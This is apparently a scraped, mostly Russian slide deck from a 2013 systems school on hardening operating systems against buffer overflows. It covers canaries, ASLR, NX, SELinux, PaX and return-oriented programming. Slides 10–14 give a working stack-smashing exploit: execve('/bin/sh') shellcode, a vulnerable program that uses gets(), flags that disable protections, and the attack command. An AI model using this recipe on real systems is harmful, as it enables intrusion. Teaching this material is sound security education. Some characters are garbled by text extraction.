IntroIntro
Intro
 
Memory, IPC and L4Re
Memory, IPC and L4ReMemory, IPC and L4Re
Memory, IPC and L4Re
 
Introduction to Microkernels
Introduction to MicrokernelsIntroduction to Microkernels
Introduction to Microkernels
 
Advanced Components on Top of L4Re
Advanced Components on Top of L4ReAdvanced Components on Top of L4Re
Advanced Components on Top of L4Re
 
Применение Fiasco.OC
Применение Fiasco.OCПрименение Fiasco.OC
Применение Fiasco.OC
 

Operating Systems Hardening

  • 1. Opera&ng  Systems  Hardening   Sartakov  A.  Vasily   ksys  labs   Summer  Systems  School’13  
  • 2. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  • 3. Intro   •  Morris  Worm  (November  1988)   –  Первый  известный  эксплоит  использовавший  срыв   стека        –  execve(“/bin/sh”,  0,  0)   •  Thomas  Lopa&c  опубликовал  эксплоит  NCSA  HTTPD     (1995)     •  “Smashing  the  Stack  for  Fun  and  Profit”  Aleph  One  (August   1996)     •  Unix  
  • 4. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  • 5. Срыв  стека   •  Подготовка  кода  (payload)   •  Изменение  последовательности  выполнения   программы  
  • 6. Подготовка  кода   •  Передается  в  качестве  аргументов,  команд,   обрабатываемых  данных   •  Эти  данные  должны  сохраняться  в   выделенные  для  них  буфера   •  Принципиальной  разницы  нет  –  статический   это  буфер  или  динамический   •  Отсутствие  проверки  длины  данных  приводит   к  перезаписи  данных  за  границей  буфера.    
  • 7. Искажение  адреса  возврата   int  namelen  (void)  {    char  name[21];    gets(name);    return  strlen(name);   }   name[0]   name[1]   ….   Адрес  возврата   0xFFFF   0x0   массив   Стек  
  • 8. Искажение  указателя  функции   void  dummy(void)  {    prinˆ("Hello  world!  n");   }     int  main(int  argc,  char  **argv)  {    void  (*dummyptr)();    char  buffer[100];    dummyptr=dummy;    strcpy(buffer,  argv[1]);  //  Уязвимость    (*dummyptr)();   }   buffer[0]   buffer[1]   ….   dummyptr   Адрес  возврата   0xFFFF   0x0   массив   Стек  
  • 9. Искажение  указателей  данных   foo(char  *  arg)  {    char  *  p  =  arg;  //  уязвимый  указатель    char  a[40];  //  переполняемый  буфер    gets(a);  //  уязвимость    gets(p);  //  искажение  кода   }   a[0]   a[1]   ….   p   arg   0xFFFF   0x0   массив   Стек   Адрес  возврата  
  • 10. Example  1   cat  >  launch.c  <<  "EOF"   int  main(int  argc,  char  **argv)  {      asm("   needle0:  jmp  theren   here:  pop  %rdin   xor  %rax,  %raxn   movb  $0x3b,  %aln   xor  %rsi,  %rsin   xor  %rdx,  %rdxn   syscalln   there:  call  heren   .string  "/bin/sh"n   needle1:  .octa  0xdeadbeefn      ");   }   EOF   gcc  -­‐o  launch  launch.c   h™p://crypto.stanford.edu/~blynn/rop/  
  • 11. Shellcode   addr=0x`objdump  -­‐d  launch  |  grep  needle0  |  cut  -­‐d    -­‐f1`   addr=$((addr-­‐0x400000))   echo  ...shellcode  starts  at  offset  $addr   xxd  -­‐s$addr  -­‐l32  -­‐p  launch  >  shellcode   eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef  
  • 12. vic&m   cat  >  vic&m.c  <<  "EOF"   #include  <stdio.h>   int  main()  {      char  name[64];      prinˆ("%pn",  name);    //  Print  address  of  buffer.      puts("What's  your  name?");      gets(name);      prinˆ("Hello,  %s!n",  name);      return  0;   }   EOF  
  • 13. Compiling   gcc  -­‐fno-­‐stack-­‐protector  -­‐o  vic&m  vic&m.c     execstack  -­‐s  vic&m  //  disabling  executable  space  protec&on…     addr=$(echo  |  setarch  $(arch)  -­‐R  ./vic&m  |  sed  1q)  //finding  buffer  address…     a=`prinˆ  %016x  $addr  |  tac  -­‐rs..`    //exploi&ng  vic&m...    
  • 14. A™ack   (  (  cat  shellcode  ;  prinˆ  %080d  0  ;  echo  $a  )  |  xxd  -­‐r  -­‐p  ;  cat  )  |  setarch  `arch`  -­‐R  ./vic&m  
  • 15. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  • 16. Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Маркерные  значения  (Canaries)   •  Рандомизация  адресного   пространства  (ASLR)   •  NX  бит   •  Подсистемы  безопасности  Linux  
  • 17. Маркерные  значения   a[0]   a[1]   ….   EBP   Canary   0xFFFF   0x0   массив   Стек   Адрес  возврата  
  • 18. Address  Space  Layout   Randomiza&on   Name[0]   0x7f..ff   Первый  запуск     char  name[64];      prinˆ("%pn",  name);        puts("What's  your  name?");      gets(name);      prinˆ("Hello,  %s!n",  name);   7cb7ba740   Name[0]   Второй    запуск   ef5415a90  
  • 19. Эмуляция  NX  bit   Код   Данные   Стек   Код   Исполняемый  неисполняемый   Лимит  сегмента  
  • 20. NX/XD  bit:  Data  Execu&on   Preven&on(DEP)   •  Physical  Address  Extension  (PAE)   •  Может  защищать  не  только  весь  процесс   целиком,  но  и  его  отдельную  часть.  
  • 21. Подсистемы  безопасности  Linux   •  SELinux   •  PaX/GrSecurity  
  • 22. SELinux   •  Разрабатывался  под  контролем  Na&onal   Security  Agency  (NSA)   •  Исходный  код  был  опубликован  в  декабря   2000   •  Мандатный  контроль  доступа  на  основе   контроля  меток  безопасности  объектов  и   субъектов  ОС   •  Принудительная  типизация  доступа  (Type   Enforcement)  
  • 23. Проект  LOCK   •  LOCK  (LOgical  Coprocessing  Kernel)   •  Secure  Compu&ng  Corpora&on  (SCC)   •  «A1»,Trusted  Compu&ng  System  Evalua&on  Criteria   (“Orange  Book”).   •  Принудительная  типизация  доступа   •  Наследие  -­‐  Sidewinder  Internet  Firewall  и  SELinux   •  Изначально  было  дополнением  2.2,  2.4   •  «Благодаря»  Торвальдсу  добавлено  в  ядро  в  качестве   отдельного  модуля.  Так  появился  Linux  Security  Modules   в  ядре  2.6  
  • 24. Принудительная  типизация  доступа   •  Type  Enforcement   •  Технология  разграничения  доступа,  при  которой   права  на  доступ  субъекта  к  объекту  даются  в   зависимости  от  текущего  контекста  безопасности.   •  Контекст  безопасности  хранится  в  расширенных   атрибутах  файловой  системы  и  управляется  с   помощью  Linux  security  module  (LSM)   •  Принудительная  типизация  доступа  необходима  для   реализации  мандатного  контроля  доступа,   дополняет  ролевой  контроль  доступа  (Role  Based   Access  Control  —  RBAC).  
  • 25. SELinux   •  Каждый  объект  или  субъект  в  операционной   системе,  защищенной  SELinux,  должен  иметь  свою   специальную  метку,  называемую  контекстом   безопасности.     •  Ext2-­‐>file-­‐>ext3   •  SELinux  предоставляет  пользователю  или   приложению  только  те  права  доступа,  которые   необходимы  для  осуществления  запрошенных   действий  
  • 26. SELinux   •  Каждый  процесс-­‐субъект  запускается  в   определенном  контексте  (домене)  безопасности     •  Всем  ресурсам-­‐объектам  операционной  системы   ставится  в  соответствие  определенный  тип   •  Высокая  степень  разграничения  доступа  к  ресурсам   •  Составляет  политику  безопасности:  Список  правил,   определяющих  разрешения  на  доступ   определенных  доменов  к  определенным  типам.  
  • 28. PaX/GRSecurity   •  Механизм  обеспечения  безопасного   исполнения  кода  PaX   •  Механизм  разграничения  доступа  на   основе  ролевой  политики  (RBAC)   •  Усиление  базового  механизма  chroot   •  Дополнительные  функции  и  механизмы   безопасности  
  • 29. Structure   •  Intro   •  Атаки  использующие  переполнение  буферов   •  Средства  противодействия  атакам   основанным  на  переполнении  буферов   •  Противодействия  противодействию:  Return   Oriented  Programming  
  • 30. Вопрос   Подвержена  ли  Гарвардская  архитектура   атакам  основанным  на  срыве  стека?    
  • 31. Ответ   Атаки  построенные  на  срыве  стека  –  нет,  не   подвержена.  Но  подвержена  куда  более   серьезным  атакам  из  того  же  семейства.  
  • 32. Return  oriented  programming   •  Return-­‐to-­‐libc  (ret2libc)     – Позволяет  атаковать  неисполнимую  память  (DEP,   W^X,  etc)     – Вместо  перезаписи  адреса  возврата,  осуществляется   выбор  специально  подобранных  двоичных  команд   из  библиотек  в  памяти,  как  вызовов  функций.   – При  этом  данные  в  стеке  используются  как   аргументы  к  этим  функциям   – Что  в  конечном  итоге  позволяет  сделать   system(cmd)  
  • 33. Return  oriented  programming   •  Вместо  возврата  из  функций  с  измененным   стеком  происходит  вызов   последовательностей  инструкций,  которые   заканчиваются  инструкцией  ret.     •  Фактически  можно  обращаться  к   произвольному  региону,  прямо  в  середину   инструкции,  тем  самым  эмулируя  другой  тип   инструкций.     •  Фактически,  все  что  нужно  для  взлома  –  найти   необходимую  последовательность  инструкций   в  памяти  
  • 34. Return  oriented  programming   •  Gadget  –  последовательность  подходящих   инструкций  заканчивающаяся  ret     •  Гаджеты  исполняют  произвольный   высокоуровневый  функционал     – Записать  данные  в  определенную  ячейку  памяти   –   add/sub/and/or/xor   – Вызвать  функцию  из  библиотеки  
  • 35. Return  oriented  programming   •  Для  построения  RoP  атаки  необходимо   просканировать  исполнимые  регионы   библиотек  для  выявления  подходящих   инструкций   •  Полнота  по  Тьюрингу  при  поиске  гаджетов:   Homescu,  Andrei,  et  al.  "Microgadgets:  Size   Does  Ma™er  in  Turing-­‐Complete  Return-­‐ Oriented  Programming."  WOOT.  2012.  
  • 36. Example  2   Return-­‐oriented  programming  on  64-­‐bit  Linux   Ben  Lynn   h™p://crypto.stanford.edu/~blynn/rop/  
  • 37. Выводы:   1.  Маркерные  значения  +  рандомизация  +  NX  бит   не  защищают  на  100%,  но  сильно  усложняют   вторжение.     2.  Превентивные  средства  защиты  (PaX),  задача   которых  противодействовать  вторжению,   вместе  с  AC  (RBAC),  так  же  уменьшают  шансы   вторжения  и  минимизируют  последствия   3.  Защита  от  внедрения  вредоносного  кода  не   достаточна  для  предотвращения  исполнения   вредоносного  кода.    
  • 38. Reading     •  h™p://crypto.stanford.edu/~blynn/rop/   •  Roemer,  Ryan,  et  al.  "Return-­‐oriented  programming:   Systems,  languages,  and  applica&ons."  ACM  Transac&ons   on  Informa&on  and  System  Security  (TISSEC)  15.1  (2012):  2.   •  Checkoway,  Stephen,  et  al.  "Can  DREs  provide  long-­‐las&ng   security?  The  case  of  return-­‐oriented  programming  and  the   AVC  Advantage."  Proceedings  of  EVT/WOTE  2009  (2009).   •  Shacham,  Hovav.  "The  geometry  of  innocent  flesh  on  the   bone:  Return-­‐into-­‐libc  without  func&on  calls  (on  the  x86)."   Proceedings  of  the  14th  ACM  conference  on  Computer  and   communicaCons  security.  ACM,  2007.